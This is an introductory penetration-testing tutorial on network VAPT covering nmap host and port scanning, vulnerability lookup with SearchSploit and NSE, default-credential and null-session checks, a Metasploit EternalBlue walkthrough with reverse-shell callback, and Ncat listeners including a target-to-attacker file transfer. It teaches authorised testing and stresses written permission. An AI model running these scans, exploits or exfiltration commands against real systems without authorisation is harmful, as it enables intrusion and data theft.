// module 01 · network

Network VAPT

The Scope:

192.168.1.0/24

This is where we'll start from. In most cases, this would be an internal subnet, and you would connect to this network over some kind of VPN solution. You would also see something similar once you have Remote Code Execution (RCE) on a web server and then run the command ifconfig, but we might be getting ahead of ourselves. The premise here is that you are simulating a scenario where an attacker has breached a network, compromised a host, and can now run commands on that host with the intent of attacking the network.

Step 1: Information Gathering

Although everybody uses the CIDR (Classless Inter-Domain Routing) convention 192.168.1.0/24 to specify a network, I like to dial it down and undertand what this really means before proceeding. If we put this into any of the online subnet calculator, we can see that:

  • 192.168.1.0 is the network address,
  • 192.168.1.255 is the broadcast address,
  • And we could possibly have 254 hosts on the network addressed from 192.168.1.1 to 192.168.1.254.
It's time to know thyself. What is the IP of our host? What OS does our host run? Run ifconfig or ipconfig and one would of those would work and answer both of our questions. If your host's IP does not fall in between 192.168.1.1 and 192.168.1.254 (like e.g., 192.168.1.34), it is quite strange to say the least, but you still may be able to access the network nonethless through some crafty works which we will not cover in this module.

Now that you know your IP, your host OS, and the IP range to attack, it's game time!

Step 2: Host Discovery

Most people would start out with ping and quickly realize that none of the Windows hosts on the network actually responds to the ICMP ping requests, but it's still worth a try since the command runs on both Windows and Unix systems. Pick a random IP from your subnet and fire off a ping:

ping 192.168.1.24

A pro tip here is to ask your favourite LLM to generate a loop to ping all the hosts within this network and get it over with.

Start Documentation Now: Create a spreadsheet file and start documenting each hosts that you find and mark if it is alive or dead. The host's status will change over time as new devices connect to and disconnect from the network, but it is better to keep track.

Let us move beyond ping. From ICMP to TCP. For this, and many of the things we are going to try later, we need nmap. Nmap (Network Mapper) is the industry-standard tool for network discovery and security auditing. It was created by Gordon Lyon (Fyodor) and first released in 1997 — and it's still the first tool a pentester reaches for, nearly three decades later. That's not nostalgia; it's because Nmap is genuinely excellent.

The official home is nmap.org. The reference guide lives there too — bookmark it now.

At its core, Nmap sends crafted packets to a target and analyses the responses. The type of packet, the timing, and the interpretation of responses determine what Nmap learns. The default scan sends SYN packets (the first step of a TCP handshake) — if the port responds with SYN-ACK, it's open. If RST, it's closed. If nothing comes back, it's filtered.

First, we will do a ping scan over the entire subnet very slowly.

sudo nmap -sn 192.168.1.0/24 -oN live_hosts.nmap -T2 -v 

Fun with flags:

  • -sn: We only want to do host discovery right now. No port scanning required. Nmap does port scan by default, hence this flag.
  • -oN: Save the output into the file live_hosts.nmap in normal Nmap format. You can also use -oX for XML.
  • -T2: T2 is the "Polite" timing as per Nmap docs. If this is too slow for you, please use the default -T3 flag.
  • -v: This is for verbose output. Helpful for those who are really impatient (like me).

Please note that this is a point-in-time scan. The list of live hosts that you now have on your live_hosts.nmap file, is the hosts which are live on the network when you ran the scan. New hosts can connect and old hosts can disconnect. Keep that in mind.

Documentation: Now you have - Sl.No, Host IP, MAC Address, Live Status and OS. You need - NetBIOS Name, Open ports, Service Name, Service Versions, Vulnerabilties, Known Exploits and much more.

Step 3: Port Scanning

Now that you have an idea of which all hosts are live in the network, it's time to get to know them a little bit. Talking to a host is the same as talking to a stranger. Generally, it's not a good idea to go and start asking their deepest darkest secrets right away. Start with small talks, identify what they like to talk about, do they have any past traumas which you can exploit (scary, right?).

Let us start by making a list of hosts called hosts.lst, which contains just the IP addresses of the live hosts identitifed in the host discovery phase. We are going to start small, only scanning the top 20 most common ports on each host.

sudo nmap -sS --top-ports 20 -T2 -Pn -iL hosts.lst -oN top20TCP.nmap

Fun with flags:

  • -sS: TCP Half-open scan is faster, much stealthier than its alternatives and does not open a connection, leaving less logs.
  • --top-ports 20: We only want to scan the top 20 most common ports on each host. Increase this to --top-ports 100 or --top-ports 1000 as you narrow your target list.
  • -oN: Save the output into the file live_hosts.nmap in normal Nmap format. You can also use -oX for XML.
  • -T2: T2 is the "Polite" timing as per Nmap docs. If this is too slow for you, please use the default -T3 flag.
  • -v: This is for verbose output. Helpful for those who are really impatient (like me).
  • [Optional] -O: Enable OS detection.

An OS, in theory, can potentially use ports numbered from (0–65535) to communicate to other hosts in the network. An open port typrically means that a process is using this port to communicate to other hosts, by providing a service. For example, if a host wants to provide a file transfer service, an FTP process will use a socket to connect to a port (usually 21) and listens on that port for incoming connections. Any hosts on the network can connect to this port and use the file transfer service.

TCP vs UDP

Traffic arrives via two main transport protocols. TCP (Transmission Control Protocol) is connection-oriented: it establishes a handshake, confirms delivery, and ensures packets arrive in order. UDP (User Datagram Protocol) is fire-and-forget — faster, but no delivery guarantee. Most services you'll encounter in VAPT run on TCP.

Well-known ports to memorise

Certain ports are so commonly associated with specific services that they're practically synonymous. Here are the ones you'll encounter on almost every engagement:

# Common TCP services
21   FTP       – File Transfer Protocol (often misconfigured, anonymous access)
22   SSH       – Secure Shell (remote login; brute-forceable if weak passwords)
23   Telnet    – Unencrypted remote login (still alive on legacy systems)
25   SMTP      – Email sending (open relays are a classic misconfiguration)
53   DNS       – Domain Name System (zone transfers can leak network maps)
80   HTTP      – Web traffic (unencrypted)
443  HTTPS     – Web traffic (encrypted)
445  SMB       – File sharing (EternalBlue anyone?)
3306 MySQL     – Database (should NEVER be internet-facing)
3389 RDP       – Remote Desktop Protocol (Windows remote access)
8080 HTTP-alt  – Dev/proxy servers often live here

# Common UDP services
53   DNS
67   DHCP
161  SNMP      – Network device management (often default community strings)
Port ≠ security: Moving a service to a non-standard port (like SSH on port 2222) is "security through obscurity" — it slows down automated scanners but provides no real protection. Always check the full port range.

What makes a port interesting?

An open port means something is listening. Something listening means there's software running. Software can have vulnerabilities. This chain — open port → service → version → vulnerability — is the core logic of network VAPT. The moment you see port 445 open on a Windows machine, your brain should immediately ask: Is it patched? Is it exposed? Does it accept anonymous connections?

Service states

When you scan a port, it won't always be simply "open" or "closed." Nmap (which we'll meet shortly) reports three states:

open     – Something is actively listening and accepting connections
closed   – The port is reachable but nothing is listening right now
filtered – A firewall is silently dropping packets; you can't tell if it's open or closed

Filtered ports are frustrating but also informative — they suggest a firewall is doing its job, which narrows your attack surface and tells you something about the network's architecture.

Step 4: Service Enumeration

Going deeper with scan types

# SYN scan (stealth scan) — faster, less likely to be logged
# Requires root/administrator privileges
sudo nmap -sS 10.10.10.5

# TCP connect scan — full handshake, works without root
nmap -sT 10.10.10.5

# UDP scan — slower but reveals hidden services (DNS, SNMP, DHCP)
sudo nmap -sU 10.10.10.5

# Scan ALL 65535 ports — thorough, takes longer
nmap -p- 10.10.10.5

# Scan specific ports
nmap -p 22,80,443,3306 10.10.10.5

# Scan a port range
nmap -p 1-1024 10.10.10.5
Pro tip: Always run a full port scan (-p-) on targets that matter. Services hiding on high ports (like 8443, 8888, or 49152) are easy to miss with default scans and easy wins for attackers who do look.

Service and version detection

Knowing that a port (eg: port 80/tcp) is open is useful. Knowing it's running Apache is better. But identifying that it's running Apache 2.4.49 is actionable — because that specific version has a known critical vulnerability. Version detection is how you turn an open port into a real finding.

# Detect service versions on open ports
nmap -sV 10.10.10.5

# Detect OS (operating system fingerprinting)
sudo nmap -O 10.10.10.5

# The classic combo: version + OS + default scripts
sudo nmap -sV -O -sC 10.10.10.5

# Or use the shorthand "aggressive" scan (version + OS + scripts + traceroute)
# Noisy! Use only when stealth doesn't matter.
sudo nmap -A 10.10.10.5

Nmap Scripting Engine (NSE)

Nmap's real superpower is its scripting engine. NSE scripts automate specific checks — testing for default credentials, detecting known vulnerabilities, pulling service banners, and more. There are over 600 built-in scripts.

# Run default scripts (safe and informative)
nmap -sC 10.10.10.5

# Run scripts for a specific category
nmap --script=vuln 10.10.10.5        # Check for known vulnerabilities
nmap --script=auth 10.10.10.5        # Test for default/empty credentials
nmap --script=discovery 10.10.10.5   # Extra discovery checks

# Run a specific script — check for anonymous FTP access
nmap --script=ftp-anon 10.10.10.5 -p 21

# Check if SMB is vulnerable to EternalBlue (MS17-010)
nmap --script=smb-vuln-ms17-010 10.10.10.5 -p 445

The full NSE script library is documented at nmap.org/nsedoc/ — searchable by category, protocol, and name.

Output formats — save your work

Always save scan output. Clients expect reports; you can't go back and re-scan everything later.

# Save output in all formats at once (normal, XML, and greppable)
nmap -oA scan_results 10.10.10.0/24

# Normal text output only
nmap -oN scan.txt 10.10.10.5

# XML output (for importing into tools like Metasploit or Nessus)
nmap -oX scan.xml 10.10.10.5

# Greppable format — great for piping to grep/awk
nmap -oG scan.gnmap 10.10.10.5
# Extract just the open ports:
grep "open" scan.gnmap | awk '{print $2, $5}'
Stay legal: Running Nmap against systems you don't own or have explicit written permission to test is illegal in most jurisdictions — even "just scanning." Always work in a lab environment, on your own machines, or with a signed scope document. Platforms like TryHackMe and Hack The Box give you legal targets to practice on.

A real-world workflow

Here's how a network VAPT typically kicks off — the first 20 minutes of scanning a new target range:

# Step 1: Quick ping sweep — find live hosts
nmap -sn 10.10.10.0/24 -oG live_hosts.gnmap
grep "Up" live_hosts.gnmap | awk '{print $2}' > live_ips.txt

# Step 2: Fast scan of live hosts — top 1000 ports, with versions
nmap -sV -iL live_ips.txt -oA fast_scan

# Step 3: Full port scan on hosts of interest — catch anything missed
nmap -p- -sV 10.10.10.5 -oA full_scan_10-10-10-5

# Step 4: Targeted scripts based on what you found
nmap --script=smb-vuln-ms17-010,smb-enum-shares 10.10.10.5 -p 445

This is the rhythm: broad → narrow → targeted. You're funnelling from "what's out there" to "what can I do about it."

Note: Network scanning is not a one-time task. You have to run scan repeatedly, often at regular intervals to identify services hiding in the dark. The more you go through the cycle of Scanning → Documenting → Vulnerability Analysis, the better will be your findings.

Step 5: Vulnerability Analysis

You've gathered intelligence, found live hosts, scanned ports, and enumerated services. Your documentation now has rows of IP addresses, open ports, service names, and version numbers. This is where the real detective work begins. Vulnerability analysis is the process of taking that raw data and asking: what can I do with this?

The goal is to map each identified service version to known vulnerabilities. A version number like Apache 2.4.49 or OpenSSH 7.2p2 is not just metadata — it is a fingerprint that can be cross-referenced against decades of catalogued weaknesses. The chain is simple: open port → service → version → CVE → exploit. Your job in this step is to build that chain for every host.

The CVE and CVSS system

Most publicly known vulnerabilities are catalogued under the CVE (Common Vulnerabilities and Exposures) system — a standard naming scheme maintained by MITRE. Each entry gets a unique identifier like CVE-2017-0144 (EternalBlue) and is assigned a CVSS score (Common Vulnerability Scoring System) on a scale from 0 to 10:

CVSS 9.0 – 10.0  → Critical  — often remote code execution; exploit immediately
CVSS 7.0 – 8.9   → High      — significant impact; prioritise in your report
CVSS 4.0 – 6.9   → Medium    — requires specific conditions; worth documenting
CVSS 0.1 – 3.9   → Low       — limited impact; informational finding
CVSS 0.0          → Informational / None

The authoritative source for CVE lookups is the National Vulnerability Database (NVD) at nvd.nist.gov. Search by CVE ID, product name, or vendor to find the full technical description, CVSS score, affected versions, and links to vendor advisories and patches.

Prioritise ruthlessly: A real network assessment can turn up dozens of open ports across many hosts. You will almost always find more vulnerabilities than you have time to fully pursue. Work from Critical → High → Medium. A single confirmed Critical finding with a working proof of concept is worth far more in a report than twenty Low-severity informational flags.

SearchSploit — offline exploit database

SearchSploit is the command-line interface to Exploit-DB, a curated archive of public exploits and proof-of-concept code maintained by Offensive Security. It runs entirely offline against a local copy of the database — invaluable on air-gapped or restricted networks. When you identify a service version, SearchSploit is your first stop after NVD.

# Search for exploits by product name and version
searchsploit apache 2.4.49
searchsploit openssh 7.2

# Search directly by CVE identifier
searchsploit --cve 2021-44228

# Strict search — only match exact version, not version ranges
searchsploit -s vsftpd 2.3.4

# Show the full filesystem path to a specific exploit
searchsploit -p 50383

# Copy an exploit to your current directory to inspect or modify it
searchsploit -m 50383

# Update the local Exploit-DB copy (run periodically)
searchsploit -u

SearchSploit comes pre-installed on Kali Linux. On other systems, install the exploitdb package or clone it from GitHub. Before running any exploit code you find, always read it first — public exploit scripts range from clean PoCs to outright malware.

Nmap NSE — automated vulnerability checks

Nmap's scripting engine has an entire vuln category dedicated to detecting known weaknesses. These scripts probe services directly — faster than manual lookups but noisier on the wire. Layer them on top of what you already know from Step 4.

# Run all vuln-category scripts against a single host
sudo nmap --script=vuln -sV 192.168.1.45 -oN vuln_192.168.1.45.nmap

# SMB-specific vulnerability checks — Windows hosts
sudo nmap --script=smb-vuln-ms17-010,smb-vuln-ms08-067,smb-vuln-cve-2020-0796 \
     -p 445 192.168.1.45

# Check FTP for anonymous login
nmap --script=ftp-anon -p 21 192.168.1.45

# SSH — enumerate supported algorithms and flag weak ciphers
nmap --script=ssh2-enum-algos,sshv1 -p 22 192.168.1.45

# HTTP — pull headers, page title, and detect known CMS
nmap --script=http-headers,http-title,http-server-header \
     -p 80,443,8080 192.168.1.45

# SNMP — try default community strings (public, private)
nmap --script=snmp-brute,snmp-info -p 161 -sU 192.168.1.45
False positives are real: Automated tools are not infallible. An NSE script may flag a service as vulnerable based solely on its version number — even if the admin has backported a security patch. Always manually verify every Critical or High finding before writing it into a report. Pasting automated tool output into a report without verification is a fast way to lose a client's trust permanently.

Manual verification

For every High or Critical finding from automated tools, verify it manually before reporting. Manual verification might mean checking the vendor's security advisory to confirm exactly which sub-versions are affected, using Ncat to interact with the service and confirming the version banner directly, searching Exploit-DB for a working PoC and checking whether the target meets its prerequisites, or cross-referencing the NVD entry to see whether the CVSS score was calculated for the network attack vector (remotely exploitable) or requires local access.

Building your vulnerability matrix

Update the documentation you have been maintaining since Step 2. For each live host, you should now have entries that follow this structure:

# Vulnerability matrix — add these columns to your existing spreadsheet:
IP Address | Port | Service | Version | CVE ID | CVSS | Severity | Verified | Notes

# Example row:
192.168.1.45 | 445/TCP | SMB | Windows 7 SP1 | CVE-2017-0144 | 9.3 | Critical | Yes | EternalBlue — NSE confirmed; no patch applied

192.168.1.61 | 21/TCP  | FTP | vsftpd 2.3.4  | CVE-2011-2523 | 10.0 | Critical | Yes | Backdoor on port 6200; searchsploit EDB-ID 17491

192.168.1.22 | 23/TCP  | Telnet | Linux telnetd | —  | Info | Low  | Yes | Cleartext protocol — credentials visible on wire

This matrix becomes the technical backbone of your penetration test report. By the time you are done with vulnerability analysis, you know exactly which hosts to target first, which vulnerabilities are confirmed, and what the expected impact of each would be. That clarity is what takes us into Step 6.

Step 6: Exploitation

Vulnerability analysis tells you where the cracks are. Exploitation is when you actually push on one of those cracks to confirm it gives way. This is the "PT" in VAPT — the Penetration Testing half. It is the step that distinguishes a penetration test from a plain vulnerability scan, because it proves a vulnerability is not just theoretically dangerous but actively exploitable.

At this level, we keep exploitation deliberate and controlled. The goal is not destruction — it is proof of concept. You want to demonstrate, in a controlled way, that a vulnerability is real, reproducible, and carries the impact you claimed. Then you document it and move on.

Authorisation is everything: Never attempt to exploit any system without explicit, written authorisation. Exploitation without permission is a criminal offence in virtually every jurisdiction. In a professional VAPT engagement, this is governed by a signed Rules of Engagement (RoE) document that defines exactly what you are allowed to test, and when. In a lab environment, you own the machines. Everywhere else — stop.

Low-hanging fruit — misconfiguration exploitation

Before reaching for a framework, look for misconfigurations that require no exploit code at all. These are often the findings that sting clients the most — they are not zero-days, they are basic hygiene failures that have been sitting open, sometimes for years.

# 1. Anonymous FTP — no credentials required
ncat 192.168.1.61 21
# The server banner appears. Type the following and press Enter after each line:
USER anonymous
PASS test@test.com
# "230 Login successful" means you are in. List the directory:
LIST
# Document: which files are accessible? Are any sensitive (configs, backups, credentials)?
# 2. Telnet — unencrypted, just connect and try default credentials
ncat 192.168.1.22 23
# A login prompt appears. Try: admin/admin, root/root, admin/(blank), root/(blank)
# Note: the entire session — including any credentials you type — is visible
# as plaintext to anyone capturing packets on the same network segment.
# 3. SMB null session — list shares without any credentials (legacy Windows / Samba)
smbclient -L //192.168.1.45 -N
# -L: list available shares, -N: no password (null session)
# If shares are listed — document their names and attempt to browse each one:
smbclient //192.168.1.45/SHARENAME -N
# Once inside: ls (list), get filename (download), put filename (upload)
# 4. Default credentials on web-based management interfaces
# Routers, IP cameras, printers, NAS devices, and network switches often ship with:
#   admin:admin  |  admin:password  |  admin:(blank)  |  root:root  |  root:toor
# Open a browser, navigate to http://192.168.1.1 (or whatever the device IP is).
# If a login page appears, try the defaults above before attempting anything else.
# Reference: https://www.routerpasswords.com for vendor-specific defaults

Metasploit — the exploitation framework

Metasploit Framework (MSF) is the most widely used exploitation framework in the world, maintained by Rapid7 and the open-source community. It packages hundreds of known, vetted exploits into a consistent, ready-to-use format. At L0, we introduce the concept and the workflow — hands-on Metasploit use is covered in L1.

# Launch the Metasploit console
msfconsole

# Search for a module by CVE, vulnerability name, or service
msf6 > search ms17-010
msf6 > search vsftpd 2.3.4
msf6 > search type:exploit name:eternalblue

# Select a module from the search results
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Review what the module needs
msf6 (ms17_010_eternalblue) > show options

# Set the target IP address
msf6 (ms17_010_eternalblue) > set RHOSTS 192.168.1.45

# Set your local IP (for the reverse shell callback)
msf6 (ms17_010_eternalblue) > set LHOST 192.168.1.10

# Run the exploit
msf6 (ms17_010_eternalblue) > run

If the exploit succeeds, Metasploit opens a Meterpreter session — an interactive, encrypted shell running inside the target process. From this session you can list running processes, read files, dump password hashes, capture screenshots, and pivot to other hosts. In a pentest, you take a screenshot of the session prompt as your evidence, document what access was achieved, and stop — that is your proof of concept.

What a shell actually means: Getting a Meterpreter session on one machine does not just mean that machine is compromised. It means you now have a foothold inside the network. From here you can run ipconfig to discover other subnets, arp -a to map neighbouring hosts, and attempt to pivot deeper into network segments that were never directly accessible from outside. One unpatched service can be the entry point to an entire organisation. That is why patch management is not optional.

When exploitation fails

A failed exploit is not a failure — it is information. If an NSE script flagged a host as vulnerable but your exploit did not land, several things could be happening: the target may have a partial or backported patch, a WAF or IPS is intercepting your packets before they reach the service, the service version banner was spoofed by a honeypot, or the exploit has prerequisites (architecture, service pack level, specific configuration) that the target does not meet. Document the attempt, note the discrepancy, and mark the finding as Unconfirmed — Exploitation Unsuccessful. Clients want to know what you tried, not just what succeeded.

Documenting exploitation — the proof of concept

Every exploitation attempt — successful or not — must be documented. Screenshots are the currency of a pentest report. For each attempt, capture the following:

# PoC documentation template — one entry per finding:
Finding Title     : Unauthenticated RCE via EternalBlue
CVE               : CVE-2017-0144
CVSS Score        : 9.3 (Critical)
Target            : 192.168.1.45 (Windows 7 SP1, identified in Step 4)
Port / Service    : 445/TCP — SMB
Tool Used         : Metasploit — exploit/windows/smb/ms17_010_eternalblue
Steps to Reproduce:
  1. Confirm 445/tcp open via nmap -sV 192.168.1.45
  2. Validate: nmap --script=smb-vuln-ms17-010 -p 445 192.168.1.45
  3. MSF: use exploit/windows/smb/ms17_010_eternalblue
     set RHOSTS 192.168.1.45 → set LHOST 192.168.1.10 → run
Outcome           : Meterpreter session opened as NT AUTHORITY\SYSTEM
Evidence          : [Screenshot — meterpreter prompt + getuid output]
Impact            : Full system compromise; lateral movement to adjacent subnets possible
Recommendation    : Apply Microsoft security bulletin MS17-010 immediately.
                    Isolate the host from the network until patched.

The final output: the report

Full post-exploitation — privilege escalation, credential harvesting, lateral movement, and persistence — is covered starting at L1. But understand this now: the final deliverable of every VAPT engagement is the report. It is a structured document containing an executive summary (written for management, no jargon), a technical findings section (your vulnerability matrix, enriched with PoC screenshots and reproduction steps), and a remediation section (prioritised, specific, actionable). The report is what the client actually pays for. The shell is merely the evidence that the report is credible.

Ncat & Nessus

Nmap gives you the map. Two more tools round out your starter kit: Ncat for direct service interaction, and Nessus for comprehensive vulnerability scanning.

Ncat — the Swiss Army knife

Ncat is the modern, feature-rich successor to the classic Netcat (nc) — the tool so fundamental it's nicknamed "the Swiss Army knife of networking." It ships with the Nmap suite and lets you read and write raw data across network connections. It's humble but indispensable.

What can you do with Ncat? A lot:

# Connect to a service manually — banner grabbing
# See exactly what a service says when you knock on its door
ncat 10.10.10.5 80
# Then type: GET / HTTP/1.0 [Enter][Enter]
# You'll see the raw HTTP response, including the server version

# Same for SSH — grab the banner without authenticating
ncat 10.10.10.5 22
# Output: SSH-2.0-OpenSSH_7.9 (or whatever version is running)

# Test if a port is reachable (no tool installed? use ncat)
ncat -zv 10.10.10.5 443
# -z: scan mode (don't send data), -v: verbose

# Set up a simple listener — wait for incoming connections
ncat -lvp 4444
# -l: listen, -v: verbose, -p: port

# Transfer a file from target to attacker (in a lab)
# On attacker machine (receiver):
ncat -lvp 4444 > received_file.txt
# On target machine (sender):
ncat 10.10.10.1 4444 < file_to_send.txt
Banner grabbing matters: Services often announce their name and version in a banner the moment you connect. Grabbing that banner manually with Ncat teaches you what automated tools see — and sometimes reveals things they miss, like custom error messages or misconfigured headers.

Ncat also supports SSL connections, proxy chaining, and acting as a simple HTTP server. As you go deeper into pentesting, you'll find yourself reaching for it constantly — especially when more sophisticated tools aren't available on a target system.

# Connect to HTTPS service
ncat --ssl 10.10.10.5 443

# Send UDP packets
ncat -u 10.10.10.5 161   # SNMP port over UDP

# Chat server in a pinch (two terminals, same network)
# Terminal 1 (listener):
ncat -lvp 5000
# Terminal 2 (connector):
ncat 127.0.0.1 5000

Nessus — the vulnerability scanner

Where Nmap tells you what's open and what version is running, Nessus tells you what's broken. It's one of the most widely used vulnerability scanners in the world, built by Tenable. A free tier — Nessus Essentials — lets you scan up to 16 IP addresses, which is perfect for learning.

Download it from tenable.com and register for a free activation code. It runs as a local web application, so you access it through your browser after installation.

How Nessus works

Nessus runs a library of plugins — each one checks for a specific known vulnerability, misconfiguration, or security issue. The library is updated continuously and currently contains over 220,000 plugins. When you point Nessus at a target, it:

1. Discovers live hosts (like nmap -sn)
2. Identifies open ports and services (like nmap -sV)
3. Runs relevant plugins against each service
4. Assigns a severity score: Critical / High / Medium / Low / Info
5. Generates a detailed report with remediation guidance

Running your first Nessus scan

The workflow is GUI-based, but here's the conceptual flow:

# In the Nessus web UI (typically https://localhost:8834):
1. New Scan → Basic Network Scan
2. Set target: e.g. 192.168.1.0/24 or 10.10.10.5
3. Set credentials (optional — credentialed scans go much deeper)
4. Launch → wait for completion
5. Review findings by severity

A credentialed scan — where you give Nessus valid login credentials for the target systems — produces dramatically richer results. It can check for missing patches, insecure configuration files, weak permissions, and software vulnerabilities that are only visible from inside the system. For a VAPT engagement, you'll typically run both: uncredentialed (attacker's view) and credentialed (auditor's view).

Understanding CVSS scores: Nessus rates vulnerabilities using the CVSS (Common Vulnerability Scoring System) — a standardised 0–10 scale. A 9.8 is critical; a 2.1 is low severity. CVEs (Common Vulnerabilities and Exposures) are the unique identifiers — like CVE-2021-44228 (Log4Shell). When Nessus flags a finding, always look up the CVE on nvd.nist.gov to understand the actual impact and available patches.

Nmap + Nessus: better together

Nmap and Nessus complement each other. Nmap is faster, more flexible, and gives you fine-grained control. Nessus is comprehensive and gives you structured vulnerability data with remediation advice. A common approach is to use Nmap for initial discovery and then feed the results into Nessus for deep analysis.

# Export Nmap results in XML, then import into Nessus
nmap -sV -oX nmap_results.xml 10.10.10.0/24

# In Nessus UI: New Scan → Advanced Scan
# Under "Discovery" → "Import from Nmap" → upload nmap_results.xml
# This skips Nessus's own discovery phase and jumps straight to vulns

Wrap-up & Resources

You've covered the essentials of Network VAPT from first principles. Let's recap what you now carry in your head:

✓ VAPT = Vulnerability Assessment + Penetration Testing
✓ Networks are segmented into subnets using CIDR notation
✓ Ports (0–65535) are how services listen for connections
✓ TCP vs UDP — most services use TCP, but don't ignore UDP
✓ Nmap discovers hosts, scans ports, detects versions, runs scripts
✓ CVE + CVSS: every vulnerability has an ID and a 0–10 severity score
✓ SearchSploit lets you search Exploit-DB offline by product, version, or CVE
✓ Nmap NSE --script=vuln automates vulnerability checks against live services
✓ Always verify Critical/High findings manually before reporting them
✓ Exploitation proves a vulnerability is real — proof of concept, not destruction
✓ Metasploit packages exploits into a consistent use → set → run workflow
✓ Every exploitation attempt — successful or not — must be documented
✓ Ncat lets you interact directly with services (banner grabbing, file transfer)
✓ Nessus automates vulnerability identification with a rich plugin library
✓ The workflow: discover → enumerate → analyse → exploit → document → report

This is the mental model that underpins every network pentest, from a small office to a Fortune 500 infrastructure. The tools scale; the thinking doesn't change.

Practice environments

Knowledge without practice is just trivia. Set up a safe lab and start scanning:

# Free legal practice platforms:
TryHackMe       – https://tryhackme.com       (guided, beginner-friendly)
Hack The Box    – https://hackthebox.com      (more challenging, community-driven)
VulnHub         – https://vulnhub.com         (downloadable VMs to run locally)

# Quick local lab with Docker (scan your own containers safely):
docker run -d --name target vulnerables/web-dvwa
nmap $(docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' target)

Essential reading & references

Nmap official docs      – https://nmap.org/book/man.html
NSE script library      – https://nmap.org/nsedoc/
Nmap Cheat Sheet        – https://nmap.org/book/nmap-options-summary.html
OWASP Testing Guide     – https://owasp.org/www-project-web-security-testing-guide/
Nessus Essentials       – https://www.tenable.com/products/nessus/nessus-essentials
NVD (CVE database)      – https://nvd.nist.gov
PTES (Pentest Standard) – http://www.pentest-standard.org/
What's next? Anybody can run tools. Firewalls, IDS/IPS and SIEM tools are experts in identifying an Nmap/Nessus scans and alerting them or even blocking off the attacker. A good pentester starts off in stealth-mode. Before running a command, they know exactly how many packets will be sent, the type of packets, will it trigger any alarms etc. That's why there are levels to this "art" of hacking.

Use the arrows in the navbar to go deeper into this topic - or sign up to unlock L1–L3.